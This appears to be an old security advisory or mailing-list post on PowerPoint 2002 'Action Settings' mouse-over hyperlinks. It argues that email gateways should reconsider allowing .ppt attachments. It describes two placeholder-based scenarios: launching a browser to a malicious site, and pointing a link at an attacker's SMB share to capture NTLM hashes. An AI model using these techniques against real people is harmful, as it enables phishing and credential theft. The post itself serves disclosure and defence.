Discussion: Microsoft(R) PowerPoint “Action Settings” feature allows invocation of default browser pointed at arbitrary URL.
Discussion: Microsoft(R) PowerPoint ?Action Settings? feature allows invocation
of default browser pointed at arbitrary URL. PowerPoint version tested: 2002
with SP3.
Reason for discussion:
For business reasons Microsoft(R) PowerPoint (ppt) files are allowed
attachments in most enterprise email gateways. This discussion is aimed at the
need for reviewing this policy.
When configured by the slide author, the PowerPoint ?Action Settings? feature
allows for some automatic activity. Although this feature is not new and there
are a number of actions that can be performed with this feature, I offer two
scenarios of one issue.
A victim is sent an email with a Microsoft(R) PowerPoint (ppt) file containing
a slide with a picture or object which has ?Action Settings? ?Mouse Over?
properties configured to visit a URL.
If the victim runs the PowerPoint show and moves the mouse over the picture or
object the default browser is launched pointing to the URL as defined by the
slide author in the ?Action Settings: Mouse Over? properties.
Scenario 1:
Action Settings | Mouse Over | Hyperlink to: URL <malicious site>
It?s obvious there could be any malicious site pointed to here for scripting,
spyware installation, phishing, etc. When the victim moves the mouse pointer
over the picture/object the page is launched using the victim?s default browser.
Mitigating factors for Scenario 1:
The victim would have to run the PowerPoint show and move the mouse over the
picture/object.
The browser/system would need to be vulnerable to an exploit used in the script
attack.
Scenario 2 (not thoroughly tested):
Action Settings | Mouse Over | Hyperlink to: URL
\\<server_ip>\<share_dir>\<file>
When the victim moves the mouse pointer over the picture/object the following
exchange occurs automatically.
An SMB NTLM challenge is sent to the victim's PC from the attacking server and
the victim's PC will automatically respond to the challenge with an SMB NTLM
authentication.
If the attacker is running a sniffer the victim's IP, SMB NTLM authentication
(with the user name and password hash) is captured for future "analysis".
Mitigating factors for Scenario 2:
The victim would have to run the PowerPoint show and move the mouse over the
picture/object.
Attacking server would have to allow incoming sessions.
The victim?s PC would have to be allowed session information over the
network/Internet (unconfirmed).
RELATED FACTS:
*While there is a social engineering component to these attacks is not uncommon
for recipients to open ppt files, run the show, and either use the mouse to
click through the show or click when prompted.
*Many Microsoft(R) vulnerabilities are stamped with the mitigating factor: "An
attacker would have no way to force users to visit a malicious Web site."
*SPAMmers are continually changing the methods used to generate traffic to
sites.
*Spyware is a problem plaguing many organizations.
Conclusion:
With the threat of phishing schemes, SPAM, spyware, malicious scripts, and
vulnerable browsers/systems, the policy of allowing Microsoft(R) PowerPoint
(ppt) files to pass through email gateways should be reviewed.